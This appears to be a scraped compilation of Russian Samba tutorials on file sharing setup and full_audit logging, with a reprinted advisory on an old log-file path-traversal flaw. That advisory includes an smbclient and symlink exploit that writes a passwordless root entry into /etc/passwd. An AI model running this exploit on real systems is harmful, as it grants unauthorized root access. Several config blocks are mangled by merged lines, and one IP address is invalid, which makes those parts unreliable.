Логирование операций с файлами в samba

Samba: настройка файлового обмена между Windows и Linux

Логирование операций с файлами в samba

Samba – реализация сетевых протоколов Server Message Block (SMB) и Common Internet File System (CIFS). Основное предназначение – расшаривание файлов и принтеров между Linux и Windows системами.

Samba состоит из нескольких демонов, работающих в фоновом режиме и предоставляющих сервисы и ряд инструментов командной строки для взаимодействия со службами Windows:

  • smbd – демон, являющийся SMB-сервером файловых служб и служб печати;
  • nmbd – демон, предоставляющий службы имен NetBIOS;
  • smblient – утилита предоставляет доступ из командной строки к ресурсам SMB. Она также позволяет получить списки общих ресурсов на удаленных серверах и просматривать сетевое окружение;
  • smb.conf – конфигурационный файл, содержащий настройки для всех инструментов Samba;

Список портов, используемых Samba

Порт ПротоколСлужбаДемонОписание 137 UDP netbios-ns nmbd служба имен NetBIOS 138 UDP netbios-dgm nmbd служба датаграмм NetBIOS 139 TCP netbios-ssn smbd NetBIOS over TCP (служба сеансов) 445 TCP microsoft-ds smbd NetBIOS over TCP (служба сеансов)

Вводная статья про основные принципы расшаривания файлов и принтеров.

Установка и настройка сервера

# под Arch Linux, сервер
yaourt -S samba # под Arch Linux, клиент
yaourt -S smbclient # под Ubuntu, сервер
sudo apt-get install samba samba-common system-config-samba

Скопируем файл с настройками smb.conf

sudo cp /etc/samba/smb.conf.default /etc/samba/smb.conf

По умолчанию создаются ресурсы для домашних каталогов пользователей (раздел homes в smb.conf) и принтеров (раздел printers).

Доступ к ресурсу может быть по паролю или анонимный. Для первого способа есть пара моментов:

  • пользователь должен существовать в системе (создан с помощью команды adduser username и установлен пароль passwd username);
  • пользователь должен быть добавлен как пользователь Samba (с помощью команды sudo smbpasswd -a username);
  • Просмотр пользователей

    sudo pdbedit -L -v

    Необходимо что-бы компьютеры принадлежали к одной рабочей группе, в Windows по умолчанию это WORKGROUP, вот её и будем использовать.

    Ниже приведен пример простого файла smb.conf с настройками для анонимного доступа к директории /srv/samba/public.

    sudo mkdir -p /srv/samba/public
    sudo chmod -R 0777 /srv/samba/public

    Имена параметров не чувствительны к регистру. Для некоторых распространенных параметров существуют синонимы, а для некоторых – антонимы. Например, writable и writeable – это синонимы, а read only – антоним для них, т.е. опция read only = yes эквивалентна опции writable = no.

    [global]
    workgroup = WORKGROUP
    server string = Samba Server
    log file = /var/log/samba/%m.log
    max log size = 50
    security = user
    map to guest = Bad User dns proxy = no # следовать по симлинкам
    unix extensions = no
    wide links = yes
    follow symlinks = yes # utf кодировка
    dos charset = cp866
    unix charset = UTF8 # отключаем принтеры
    load printers = no
    show add printer wizard = no
    printcap name = /dev/null
    disable spoolss = yes # hosts allow = 127. 192.168.24. # по умолчанию все файлы, начинающиеся с точки будут иметь атрибут “скрытый”
    hide dot files = yes [public]
    comment = public folder
    path = /home/proft/public
    read only = no
    locking = no
    browsable = yes # разрешить гостевой доступ
    guest ok = yes
    force user = nobody force group = nobody
    # guest only = yes
    # create mode = 0777
    # directory mode = 0777 # разрешить доступ только user1, user2
    # valid users = user1, user2

    Проверим корректность настроек с помощью команды testparm

    testparm -s

    Опция -v указывает testparm выводить также значения по умолчанию.

    Запустим Samba-сервер

    # под Arch Linux
    sudo systemctl start smbd # под Ubuntu, сервер
    sudo service start smbd

    Проверим подключению к Samba на порт 139 с помощью telnet

    telnet 192.168.24.100 139

    В Samba имеется ряд параметров, связанных с аутентификацией пользователей. Наиболее важным из них является параметр security, который может принимать пять различных значений источник:

    • share – этот режим безопасности эмулирует метод аутентификации, используемый операционными системами Windows 9x/Windows Me. В этом режиме имена пользователей игнорируются, а пароли назначаются общим ресурсам. В этом режиме Samba пытается использовать предоставленный клиентом пароль, которым могут пользоваться разные пользователи.
    • user* – этот режим безопасности установлен по умолчанию и использует для аутентификации имя пользователя и пароль, как это обычно делается в Linux. В большинстве случаев в современных операционных системах пароли хранятся в зашифрованной базе данных, которую использует только Samba.
    • server – этот режим безопасности используется тогда, когда необходимо, чтобы Samba выполняла аутентификацию, обращаясь к другому серверу. Для клиентов этот режим выглядит так же, как аутентификация на уровне пользователя (режим user), но фактически для выполнения аутентификации Samba обращается к серверу, указанному в параметре password server.
    • domain – используя этот режим безопасности, вы можете полностью присоединиться к домену Windows; для клиентов это выглядит так же, как аутентификация на уровне пользователя. В отличие от аутентификации на уровне сервера, доменная аутентификация использует более защищенный обмен паролями на уровне домена. Для полного присоединения к домену требуется выполнить дополнительные команды в системе Samba и, возможно, на контроллере домена.
    • ads – этот режим безопасности похож на метод аутентификации в домене, но требует наличия контроллера домена Active Directory Domain Services.

    Полный список параметров Samba есть в manpages.

    Выше был приведен пример с доступом для директории с общим доступом. Рассмотрим еще пример с приватной директорией, к которой доступ только по логину и паролю.

    Создадим группу и добавим в нее пользователя

    sudo groupadd smbgrp
    sudo usermod -a -G smbgrp proft

    Создадим директорию для пользователя и установим права

    sudo mkdir -p /srv/samba/proft
    sudo chown -R proft:smbgrp /srv/samba/proft
    sudo chmod -R 0770 /srv/samba/proft

    Создадим samba-пользователя

    sudo smbpasswd -a proft

    Добавим в /etc/samba/smb.conf новый ресурс

    [proft]
    path = /srv/samba/proft
    valid users = @smbgrp
    guest ok = no
    writable = yes
    browsable = yes

    Перезапустим сервер

    sudo systemctl restart smbd

    Пример настройки ресурса в котором есть симлинк на папку пользователя (/srv/samba/media/video » /home/proft/video)

    [media]
    path = /srv/samba/media
    guest ok = yes
    read only = yes
    browsable = yes
    force user = proft

    Настройка клиента

    Просмотр общих ресурсов компьютера

    smbclient -L 192.168.24.101 -U%

    Еще один способ подключения для анонимного пользователя с командной строкой

    smbclient -U nobody //192.168.24.101/public
    ls

    Если на сервере настроен более высокий уровень безопасности, то может потребоваться передать имя пользователя или домена с помощью параметров -W и -U соответственно.

    smbclient -L 192.168.24.101 -U proft -W WORKGROUP

    Монтирование samba-ресурса

    # создание точки монтирования
    mkdir -p ~/shares/public # монтирование ресурса
    # для анонимного пользователя nobody
    mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=nobody,password=,workgroup=WORKGROUP,ip=192.168.24.101,utf8 # для пользователя proft
    mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=proft,password=1,workgroup=WORKGROUP,ip=192.168.24.101,utf8

    Еще лучше пароли хранить в отдельном файле

    # sudo vim /etc/samba/sambacreds username=proft
    password=1 username=noboy
    password=

    Выставим права доступа 0600

    sudo chmod 0600 /etc/samba/sambacreds

    Новая строка для монтирования

    mount -t cifs //192.168.24.101/public /home/proft/shares/public -o user=proft,,credentials=/etc/samba/sambacreds,workgroup=WORKGROUP,ip=192.168.24.101

    И пример для /etc/fstab

    //192.168.24.101/public /home/proft/shares/public cifs noauto,username=proft,credentials=/etc/samba/sambacreds,workgroup=WORKGROUP,ip=192.168.24.101 0 0

    Открыть ресурс в файловом менеджере Nautilus/Nemo/etc можно по такому пути smb://192.268.24.101.

    Если Nemo пишет Nemo cannot handle “smb” locations. значит не хватает пакета gvfs-smb.

    Доступ к серверу с Windows и Android клиента

    Под Windows узнать рабочую группу с консоли можно с помощью

    net config workstation

    Открыть ресурсы на удаленной машине можно набрав в строке Explorer (Проводник) или в Run (Start – Run) UNC-адрес: 192.168.24.101.

    Под Android подключится к серверу можно с помощью ES File Explorer, на вкладке Network добавляем сервер, просто по IP (без указания схемы, smb). После чего можно открывать расшаренные ресурсы. Для статистики: HDRIP-фильм идет без подтормаживания.

    Дополнительное чтиво

    Samba – корзина+расширенные логи

    Логирование операций с файлами в samba

    http://www.opennet.ru/base/net/samba_tune_auth.txt.

    html Вместе с Samba поставляется ряд так называемых “VFS-модулей” (Virtual File System), с их помощью становится возможным выполнение таких действий как протоколирование процесса работы на сетевых папках, организация сетевой корзины, теневое копирование (shadow copy) данных, подключение антивирусных модулей и т.п. В частности, для протоколирования действий пользователей в Samba имеется три VFS-модуля: audit, extd_audit, full_audit. Для поставленной нами задачи мы будем использовать последний из них. У данного модуля, впрочем как и у других, есть ряд параметров, с помощью которых производится его конфигурирование и настройка. Указание параметров производится в следующем виде:

    имя_модуля:параметр1 имя_модуля:параметр2=значение1

    имя_модуля:параметр3=значение2 значение3 значение4

    Все настройки производятся в главном конфигурационном фале Samba –

    smb.conf. Полный список параметров можно, вернее даже лучше

    всего, посмотреть в исходном коде модуля, который находится в директории samba-3.0.23d/source/vfs. Давайте построчно рассмотрим вышеприведенный конфиг:


    vfs objects = full_audit

    Подключает использование данного модуля при работе с указанной сетевой папкой


    full_audit:prefix= %m|%U

    Задает возможность с помощью макропеременных Samba подставлять нужные значения в качестве источника события на сетевой папке при протоколировании действий.

    В нашем случае в качестве источника будет производится подстановка вида NetBIOS_имя_комьютера|имя_пользователя и в log-файл будет записываться что-то вроде: Mar 5 08:47:51 calypso smbd_audit: comp1|username|mkdir|ok|/mnt/hdd1/new folder

    full_audit:success=write rename unlink mkdir rmdir

    full_audit:failure=write rename unlink mkdir rmdir

    Модуль протоколирует действия которые завершились успешно – параметр success и закончились неудачей – failure соответственно.

    Как, наверное уже понятно, для данной сетевой папки мы будем фиксировать как “успех” так и “неудачу” создания, переименования и удаления файлов и директорий.

    Если же, например, нужно протоколировать ВСЕ неудачные действия на шаре то параметр full_audit:failure нужно не указывать и по умолчанию он будет фиксировать все “неудачи”.

    full_audit:facility=LOCAL5
    full_audit:priority=INFO

    Здесь мы остановимся немного подробнее. Samba умеет вести журналы как самостоятельно так и с помощью системы Syslog. Для подробного протоколирования действий пользователей второй вариант является более предпочтительным, так как с его помощью можно более гибко настроить журналирование.

    Данная гибкость, в частности, позволит нам вести протоколы работы с каждой сетевой папкой в отдельный файл. Для определения источника журналируемых записей Syslog имеет такие понятия как “категория” – facility и “приоритет” – priority.

    Категория – это ряд предописанных значений, событий, вроде сообщений о регистрации пользователей, сообщений от системного планировщика, ядра, почтовой системы и т.п.

    Применительно к нашей задаче имеются зарезервированные категории local0 – local7, которые не привязаны ни к какому системному событию и могут быть свободно использованы администратором. Понятие “приоритет” означает уровень важности поступаемых сообщений.

    Имеется 8 уровней приоритета: debug, info, warning, notice, warning, err, crit, alert, emerg. Нам необходимо настроить протоколирование таким образом, чтобы протоколы с сетевых папок велись в отдельные файлы: каждая “шара” – в свой файл журнала. Вот здесь нам на помощь и приходят вышеописанные уровни приоритета.

    Мы каждой системной папке присвоим свой уникальный уровень приоритета в пределах выбранной категории, а syslog сконфигурируем таким образом, чтобы он разделял протоколы, поступающие от сетевых папок. Т.е. будут использоваться приоритеты INFO и NOTICE категории LOCAL5. Приступим к настройке syslogd.

    По умолчанию во FreeBSD все сообщения класса notice перенаправляются в файл /var/log/messages. Нам сие не нужно, поэтому нужно переконфигурировать syslog дабы разделить поступаемые классы сообщений. Сделаем это следующим образом: строку *.notice … заменим на

    local5.=info /var/log/samba/docs.log local5.=notice /var/log/samba/pub.log local0.notice;local1.notice;local2.notice;local3.notice /var/log/messages

    local4.notice;local6.notice;local7.notice /var/log/messages

    Таким образом мы выделили приоритеты info и notice категории local5 и перенаправили их в соответствующие файлы журналов и, на всякий случай, для других приложений перенаправили остальные категории local0-local7 приоритета notice в /var/log/messages Теперь очередь за настройкой сетевой корзины. За это отвечает VFS-модуль recycle. У него имеются следующие параметры:


    recycle:repository=/mnt/hdd2/lost_n_found

    Абсолютный путь к папке, в которую будут перемещаться удаленные на сетевой шаре файлы и директории.

    recycle:exclude = *.tmp | *.TMP | ~$* | ~WRL*

    Список регулярных выражений для имен файлов которые при удалении будут удаляться, а не перемещаться в корзину. Каждое выражение отделяется от соседних символом “|”. ВНИАНИЕ! Маска файла и символ “|” обязательно должны разделяться символом пробела.

    recycle:excludedir = /mnt/hdd1/temp

    Список директорий удаление файлов и директорий из которых не переместит их в сетевую корзину и они на самом деле будут удалены.

    recycle:maxsize=104805760

    Максимальный размер файла в байтах, который может помещаться в корзину, если размер больше – файл будет удален. В данном случае в корзину будут попадать файлы размером не более 10 Мб.

    recycle:keeptree

    При удалении файла сохранять весь файловый путь относительно сетевой папки. Т.е. например при удалении файла file.txt, находящегося по пути path/to/file относительно сетевой шары [pub] с абсолютным путем /mnt/hdd2, в сетевой корзине будет создан файловый путь/mnt/hdd2/path/to/file и в эту директорию будет помещен file.txt.

    recycle:versions

    При удалении одного и того же файла filename, находящегося по одному и тому же сетевому пути, в сетевой корзине будут создаваться копии файла с именами Copy #1 filename, Copy #2 filename и т.д.

    Логирование операций с файлами в Samba

    Логирование операций с файлами в samba

    Ранее я неоднократно рассказывал, как настроить файловый сервер samba для совместной работы с файлами. При совместной работе часто бывает нужно знать, кто и когда что-то сделал с тем или иным файлом, а конкретно, кто удалил файл. По-умолчанию, такой лог не ведется, нужно настраивать отдельно. Займемся настройкой логирования операций с файлами в данной статье.

    Введение

    У меня есть две статьи по настройке файлового сервера samba:

    В обоих случаях будет не лишним настроить логирование всех обращений к файлам на сервере. Делается это штатными возможностями самой самбы. Она будет отправлять логи в syslog, а в нем мы уже настроим их хранение и ротацию с помощью logrotate. На нагруженных серверах логи будут очень объемными. Нужно обязательно позаботиться об их хранении и удалении.

    Я буду настраивать логи в samba на сервере CentOS 7. В других случаях отличий почти не будет. Сами настройки самбы везде одинаковые. Syslog и Logrotate тоже примерно одинаковые во всех дистрибутивах Linux.

    Включаем логирование операций в samba

    Для логирования действий пользователей на файловом сервере будем использовать модуль самбы full_audit.

    Если вы хотите выполнять логирование операций с файлами в один лог файл по всем доступным шарам, то добавляйте настройки аудита в глобальную секцию. Если же захотите разделить по шарам, то отдельно в каждую шару с небольшими изменениями. Я рассмотрю оба варианта.

    Для начала, настроим аудит по всем шарам в один общий файл. Добавляем в /etc/samba/smb.conf в секцию [global] следующие строки:

    log level = 1 vfs:1 full_audit:prefix = %u|%I|%S full_audit:success = connect, open, mkdir, rmdir, unlink, write, rename full_audit:failure = connect, open, mkdir, rmdir, unlink, write, rename full_audit:facility = local5 full_audit:priority = notice vfs objects = full_audit

    Поясню каждый параметр.

    full_audit:prefix В каком формате будет выводиться информация о подключении: %u — имя пользователя, %I — его ip адрес, %S — название шары. full_audit:success Какие удачные события будут логироваться. В приведенном примере по смыслу и так понятно, о чем речь. Полный список событий такой: chdir, chflags, chmod, chmod_acl, chown, close, closedir, connect, disconnect, disk_free, fchmod, fchmod_acl, fchown, fget_nt_acl, fgetxattr, flistxattr, fremovexattr, fset_nt_acl, fsetxattr, fstat, fsync, ftruncate, get_nt_acl, get_quota, get_shadow_copy_data, getlock, getwd, getxattr, kernel_flock, link, linux_setlease, listxattr, lock, lseek, lstat, mkdir, mknod, open, opendir, pread, pwrite, read, readdir, readlink, realpath, removexattr, rename, rewinddir, rmdir, seekdir, sendfile, set_nt_acl, set_quota, setxattr, stat, statvfs, symlink, sys_acl_delete_def_file, sys_acl_get_fd, sys_acl_get_file, sys_acl_set_fd, sys_acl_set_file, telldir, unlink, utime, write. full_audit:failure То же самое, что выше, только для ошибок. full_audit:facility Категория событий syslog, в которую будут попадать записи. full_audit:priority Приоритет записей для syslog. Для самбы будет достаточно приоритета notice, чем ее записи по сути и являются.

    Если вы хотите настроить вывод лога доступа с разных шар в отдельные файлы, то указанные выше параметры поместите не в глобальную, а отдельно в каждую секцию с шарой, изменив категории событий, сделав их в каждой шаре уникальными, например local5 и local6. Так же нужно будет в каждую шару отдельно добавить еще один параметр:

    vfs objects = full_audit

    После изменения конфигурации, не забудьте перезапустить самбу. Если больше ничего не делать, то логи посещений самбы польются в стандартный поток вывода для системных логов. В Centos в /var/log/messages. Это очень неудобно, поэтому далее настроим вывод логов в отдельный файл.

    Вывод лога доступа к файлам samba в отдельный файл

    Нам нужно отредактировать файл конфигурации rsyslog для направления вывода лога самбы в отдельный файл. В CentOS 7 открываем файл /etc/rsyslog.conf и добавляем в самый конец такую строку:

    # mcedit /etc/rsyslog.conflocal5.notice -/var/log/samba/audit.log

    Этим параметром мы направили вывод логов аудита посещений в отдельный файл audit.log. Если все оставить как есть, то информация о посещениях будет писаться как в отдельный файл, так и в общий системный. Чтобы в общий не писалось, редактируем еще одну строку, добавляя туда выделенный фрагмент:

    *.info;mail.none;authpriv.none;cron.none;local5.none /var/log/messages

    Сохраняем файл и перезапускаем rsyslog.

    # systemctl restart rsyslog

    Теперь все нормально. Все логи посещений шары на samba будут складываться в отдельный файл и только туда.

    Если у вас есть желание хранить логи на удаленном сервере, то воспользуйтесь моей статье на эту тему — настройка syslog-ng для удаленного сбора логов. Это сделать быстро и просто.

    Зачастую это может быть оправданно и удобно, особенно с точки зрения безопасности и не только логов от самбы.

    Осталось малось — настроить ротацию логов. Сделать это надо обязательно, так как файл аудита будет расти очень быстро. Здесь ничего особенного, используем logrotate. Скорее всего у вас уже есть фал конфигурации logrotate для самбы. Он создается в момент установки. Отредактируем его, добавив новые параметры.

    # mcedit /etc/logrotate.d/samba/var/log/samba/audit.log { daily notifempty olddir /var/log/samba/old missingok sharedscripts copytruncate rotate 90 compress }

    Я храню логи за последние 90 дней, ротацию делаю раз в день и складываю старые логи в отдельную папку. Если у вас в конфигурации есть параметр с маской, который захватывает сразу все файлы в директории /var/log/samba, например вот так:

    /var/log/samba/*

    То либо вынесите лог-файл с аудитом в отдельную директорию, либо измените маску.

    Заключение

    Я уже давно заметил один неприятный баг в самбе 4-й версии. Привожу пример того, как выглядит лог посещений файловой шары самбы с русскими названиями в именах на 3 и 4-й версии. В данном случае сначала версия 3.6.3, потом 4.6.2

    В первом случае отображаются полные корректные пути. Во втором случае на события типа open идут только обрывки названий директорий, по которым не понятен полный путь. Делаю важный акцент — только на события open.

    Если идут события создания, удаления, изменения, то пути уже корректны, даже если они русские. В принципе, события на доступ лично для меня обычно не важны. Интерес представляет только создание, изменение и особенно удаление файлов. С этим все в порядке.

    Аудит показывает корректный лог удаления файлов. Но все равно не приятно смотреть на неинформативный лог.

    Возможно, дело не в 3-1 и 4-й версии. Я не проверял различные изменения в рамках одной и той же ветки. Просто посмотрел на имеющиеся у меня сервера. Там где 3-я версия все в порядке, там где 4-я везде такой бардак в логах. Если кто-то знает, как от него избавиться, прошу поделиться.

    Помогла статья? Есть возможность отблагодарить автора

    Samba audit или логирование работы в каталогах samba

    Логирование операций с файлами в samba

    • Ubuntu 16.04.3 LTS
    • Samba 4.3.11
    • Какой-то недобросовестный пользователь, который часто по ошибке удаляет или меняет файлы и не признается в этом.

    Решением может стать настроенный аудит для samba.

    Настройки не сложные и если у вас относительно новые дистрибутив Ubuntu и Samba, то вам даже не придется перезагружать сервер (вопреки многим мануалам в сети, в которых пишут что настройки применятся только при перезагрузке)

    Во первых: настраиваем саму Samba, для этого в /etc/samba/smb.conf дописываем в секцию [global] строки:

    #Префикс – описание пользователя. %u – имя %I – IPадрес.full_audit:prefix = %u|%I|%S#запись об ошибках. В нашем случае – ошибки не записываем.full_audit:failure = none#запись о действиях: создать папку, удалить папку, открыть файл, …., записать файл, перезаписать файл,#…., переименовать файл, разблокировать доступ к файлу, заблокировать доступ к файлу.full_audit:success = mkdir rmdir open read pread write pwrite sendfile rename unlink lockfull_audit:facility = local5#уровень записи. Может быть debug или noticefull_audit:priority = debug

    Добавлю для более детального понимания проблемы: если нужно логировать только один каталог, то вы можете указать эти параметры только для одного каталога и тогда они должны быть указаны в соответствующей секции (например [home]) описания этого каталога, а не в разделе [global]. Вы даже можете указать в префиксе имя этой секции, если таких каталогов у вас более одного

    full_audit:prefix = [home] %u|%I|%S

    Во вторых, чтобы лог писался не в /var/log/syslog, а в отдельный файл делаем следующее:

    Чтобы исключить запись наших событий в /var/log/syslog необходимо в файле /etc/rsyslog.d/50-default.conf отредактировать строку как показано ниже

    – *.*;auth,authpriv.none -/var/log/syslog+ #*.*;auth,authpriv.none -/var/log/syslog+ *.*;local5,auth,authpriv.none -/var/log/syslog

    Оригинал настройки в комментарий, чтобы была возможность отката изменений.

    Создайте сам файл и назначьте на него права соответствующие для доступа syslog:

    touch /var/log/samba/audit.logchown syslog:adm /var/log/samba/audit.log

    Далее есть 2 варианта, чтобы заставить rsyslog писать лог в нужный вам файл (для примера этот файл /var/log/samba/audit.log):

    Или добавить все в том же файле /etc/rsyslog.d/50-default.conf строку

    local5.debug*       /var/log/samba/audit.log

    или же создать отдельный файл настройки для rsyslog:

    touch /etc/rsyslog.d/00-samba-audit.confecho “local5.debug /var/log/samba/audit.log” > /etc/rsyslog.d/00-samba-audit.conf

    Для красоты и компактности добавляем ротацию логов для чего в файл /etc/logrotate.d/samba добавляем строки

    /var/log/samba/audit.log {         reload rsyslog > /dev/null 2>&1 || true

    В третьих перегрузить настройки samba и перезапустить rsyslog

    smbcontrol all reload-config

    После всех проделанных настроек в файле лога /var/log/samba/audit.log должны начать появляться записи лога, конечно же после каких-либо действий в соответствующих каталогах Samba.

    P.S. описан просто рабочий пример, вдаваться в подробности значений всех  настроек не вижу смысла в гугле полно данных на эту тему. Но этот рабочий минимум надо было записать, чтобы не забыть )))

    Проблемы с лог файлами в SMBD – «Хакер»

    Логирование операций с файлами в samba

    Недостаточная проверка правильности параметра и опасная конфигурация, используемая по умолчанию, делают многочисленные системы, использующие Samba совместно с file sharing, уязвимыми для удаленных атак.

    Из-за недостаточной проверки правильности NetBIOS имени   компьютера во входящих SMB запросах, вместе с заданной по умолчанию конфигурацией, самба daemon позволяет отдаленным нападавшим создавать SMB журналы сеанса (*.

    log), с содержанием, указывающим на директории более высокого уровня. На уязвимой платформе, по умолчанию,

    каждая SMB сессия создает лог файл:

    /var/log/samba/.log. 

    Если атакующий заходит с компьютера ‘FOOBAR’, логи будут записываться в /var/log/foobar.log. Теперь, если netbios имя атакующего будет ./../../evil, то система также создаст /evil.log файл, но уже в директории более высокого уровня, это и есть главная ошибка. Эту уязвимость возможно использовать при условии, если следующие установки присутствуют в файле

    smb.conf :

    log file = /var/log/samba/%m.log

    которая является по умолчанию в большинстве LINUX платформ. Но на некоторых

    системах конфигурация может быть такой:

    log file = /usr/local/samba/var/log.%m

    В этом случае (например FreeBSD), нельзя
    использовать эту уязвимость.

    Реализация ошибки

    Это пример сценария локальной атаки для
    получения повышенных привилегий:

    ln -s /etc/passwd /tmp/x.log $ smbclient //NIMUE/”`perl -e ‘{print ”
    toor::0:0::/:/bin/sh
    “}’`”

    -n ../../../tmp/x -N

    Где NIMUE — соответствует имени локального хоста (при этом могут быть возвращены

    несколько ошибок).

    $ su toor
    #

    Использовать эту атаку довольно просто: — Samba daemon пытается обратиться к лог файлам для хоста, подставляющегося себя как ‘ ../../../tmp/x ‘. Это транслирует функцию open() на /var/log/samba/../../../tmp/x.log. Таким образом, файл /tmp/x.

    log открыт в режиме O_APPEND, после предварительно созданного символьного линка на /etc/passwd
    — все, путь свободен. Тогда, анонимная попытка устанавливает несуществующий share named «
    toor::0:0::/:/bin/sh
    » в «/tmp/x.

    log» или, если Вы предпочитаете, в /etc/passwd.

    Сообщение об ошибках смотрит этот путь:

    [2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925) Rejecting user ‘lcamtuf’: authentication failed [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214) ../../../tmp/x (192.233.133.108) couldn’t find service

    toor::0:0::/:/bin/sh

    последняя строка, очевидно, разрешает /bin/su
    или /bin/login. 

    В качестве временного решения следует изменить формат Лог файлов и дождаться официального патча:

    Аудит работы пользователей через сервер SAMBA

    Логирование операций с файлами в samba

    13.05.2011 – 13:27

    В нашей сети в качестве файлопомойки по политике всем пользователям подключен сетевой диск “W”. Необходимо было как то контролировать действия юзеров с данным диском (открытие, создание, удаление или переименование файлов и каталогов).

    В самбе уже есть для этих целей необходимый модуль “full_audit”, который умеет все выше перечисленное. В результате все необходимые данные будут записываться в файл /var/log/samba/audit.log.

    Если хотим мониторить все шары, то вносим настройки аудита в секцию [global], а если только определенные, то в секцию конкретной шары. Например, редактируем конфиг самбы:

    [root@fs /]# cat >> /usr/local/etc/smb.conf

    …………..
    # Моя шара с правами – 777.
    [pub]
       comment = Доступ на чтение/запись разрешена всем
       path = /mnt/ad1/
       veto files = /*.avi/*.mp3/*.mkv/*.wav/*.wma/*.fly/*.mpg/*.mpeg/*.vob/*.3gp/*.exe/*.reg/*.src/*.pif/*.cmd/*.bat/*.inf/*.ini/*.com/*.dll/
       delete veto files = yes    browseable = no

       writable = yes

       guest ok = yes
    # Подключаем модуль “full_audit”.    vfs object = full_audit

    # Уровни логирования:

    # 0 – создание -удаление директорий и удаление файлов
    # 1 открытие директорий, переименование файлов, изменение прав/списков_доступа ,
    # 2 открытие и закрытие файлов
    # 10 максимальный уровень.
       log level = 1 vfs:1
       syslog = 7
    # Может принимать любые значения из набора: %u, %I, %U, %m, %s, %S, %a, %h, %H.
       full_audit:prefix = %u|%I
       full_audit:success = connect, open, mkdir, rmdir, unlink, write, rename, pwrite    full_audit:failure = none    full_audit:facility = local5

       full_audit:priority = notice

    Передергиваем демон самбы:

    [root@fs /usr/local/etc/rc.d]# ./samba reload

    Теперь в /var/log/messages, будет сыпаться лог. Вот такого вида:

    May 13 19:11:05 fs smbd[84930]: nobody|192.168.31.25|mkdir|ok|lymar
    May 13 19:11:26 fs smbd[84930]: nobody|192.168.31.

    25|mkdir|ok|lymar/ASU
    May 13 19:11:36 fs smbd[84930]: nobody|192.168.31.25|rename|ok|lymar/ASU|lymar/Asu-1
    May 13 19:11:37 fs smbd[83898]: nobody|192.168.39.

    94|connect|ok|pub
    May 13 19:12:07 fs smbd[84930]: nobody|192.168.31.25|rmdir|ok|lymar/Asu-1

    Теперь необходимо все это складывать в отдельный файл /var/log/audit.log. Для этого необходимо подправить /etc/syslog.conf:

    [root@fs /etc]# cat /etc/syslog.conf | grep local5
    #добавляем local5.
    *.notice;local5,authpriv.none;kern.debug;lpr.info;mail.crit;news.err    /var/log/messages
    !*
    local5.notice                                   /var/log/audit.log

    Делаем суслогу рестарт:

    [root@fs /etc/rc.d]# ./syslogd restart

    Теперь логи у нас будут складываться тут /var/log/audit.log.

    Настройка Samba

    Логирование операций с файлами в samba

    Тема данной статьи, на сегодняшний день, является довольно хорошо освещенной. Настолько хорошо, что до недавнего времени я даже не думал писать сей документ. Однако, мой личный опыт показывает, что самым распространенным видом серверов является файл-сервер.

    Соответственно, большинство вопросов у начинающих линуксоидов возникает по настройке samba, на основе которой и строится последний. Я попытаюсь разъяснить некоторые моменты касательно начальной настройки samba. Касаться всех возможных опций я не буду, по причине огромного их количества. В конце концов, все они очень хорошо описаны в документации, прилагаемой к программному пакету.

    Также не буду я касаться настройки сервера печати. Так как заниматься настройкой такого сервера мне пока не приходилось..

    Вся настройка сводится к редактированию конфигурационного файла по адресу /etc/samba/smb.conf либо /etc/smb.conf или /etc/smb/smb.conf(зависит от версии дистрибутива).

    Сразу оговорюсь, что использование Samba не ограничивается только созданием файлового сервера. С помощью Samba можно сканировать удаленные ресурсы а также монтировать их. Но об этом немного позже.

    Рассматриваться будет Samba версий 2.* и 3.*. С точки зрения настройки, различие в версиях не большое. Такие места я оговорю в ходе описания настройки.

    Давайте рассмотрим типичный файл smb.conf.

    Любая строка, которая начинается с ; или # является комментарием и будет проигнорирована.

    [править] =================Глобальные настройки=================

    [global]

  • workgroup = NT-Domain- or Workgroup- Здесь описывается имя рабочей группы или # имя вашей рабочей группы
  • workgroup =

  • Описание вашей машины (при просмотре сетевого окружения, стоит после имени машины)
  • server string = File-server

  • Имя вашей машины в сети. Иногда отсутствует. Если не пишем – имя будет взято из вывода команды hostname.
  • Если нужно – дописывайте эту строку самостоятельно. Для чего это вам и нужно ли вообще – решайте сами.
  • netbios name = Server

  • Дополнительное имя вашей машины в сети. То-есть в сети появиться еще одна машина с аналогичным содержимым.
  • Для чего это вам и нужно ли вообще – решайте сами.
  • netbios aliases = AliasServer

  • Ограничение на присутствие вашей машины в подсетях. Или из какой подсети вы будете
  • доступны. Если вы хотите разрешить несколько подсетей пропишите их через пробел. Допускается написание имени интерфейса.
  • Из соображений безопасности настоятельно не рекомендуется включать доступ извне вашей сети.
  • hosts allow = 10.10.20. 127.0.0. eth1

  • Автоматическая загрузка списка принтеров
  • printcap = /etc/printcap

    load printers = yes

  • Схема печати. Я не пробовал.
  • bsd, sysv, plp, lprng, aix, hpux, qnx
  • printing = lprng

  • Имя гостевого входа (чаще всего, по умолчанию “nobody”). Другими
  • словами можно ли получить доступ к вашим сетевым ресурсам не имея учетной
  • записи на вашей машине. Но помните, такой пользователь в вашей системе должен существовать
  • (если вы отрываете эту опцию), иначе ничего не выйдет. #Обратите внимание, описывается именно Linux-пользователь. Samba имеет свой список пользователей, но об этом позже.
  • guest account = nobody

  • Куда писать сообщения о ошибках. При ошибках в работе samba настоятельно рекомендую почитать.
  • Создается как общий лог работы samba и netbios так и логи отдельных пользователей.
  • log file = /var/log/samba/%m.log

  • Максимальный размер этого файла (в Kb). Если не хотите ограничивать – 0
  • max log size = 500

  • Уровень доступа. Обычно стоит на уровне пользователя (security = user). В случае
  • security=share в скрытой форме используется механизм аутентификации на основе имени и
  • пароля. Если база паролей хранится на другом SMB-сервере, то используется значение
  • securety=server и password server=имя NT-сервера. Если сервер является членом домена, то
  • используется securety=domain, и самба-машина зачисляется в домен с паролем, указанном в
  • smb passwd file. Последнее не пробовал.
  • security = user

    ; password server =

  • Если мы проставим security=share у нас появиться возможность более гибко #конфигурировать вход пользователей. Для этого нам необходимо добавить параметр
  • map user = bad user

  • возможны варианты:
  • map user = never – не использовать (по умолчанию стоит эта опция)
  • map user = bad user – Если пользователь не угадал пользователя – вход как guest
  • map user = bad password – даже если пользователь не угадает пароль вход будет разрешен.
  • Минимальный допустимый размер имени пользователя и его пароля.
  • ; password level = 8; user level = 8

  • Использовать ли шифрование паролей и где храниться файл с паролями.
  • encrypt passwords = yes

    smb passwd file = /etc/samba/smbpasswd

  • По мануалу, вроде, синхронизация с UNIX-базой паролей. Не пробовал.
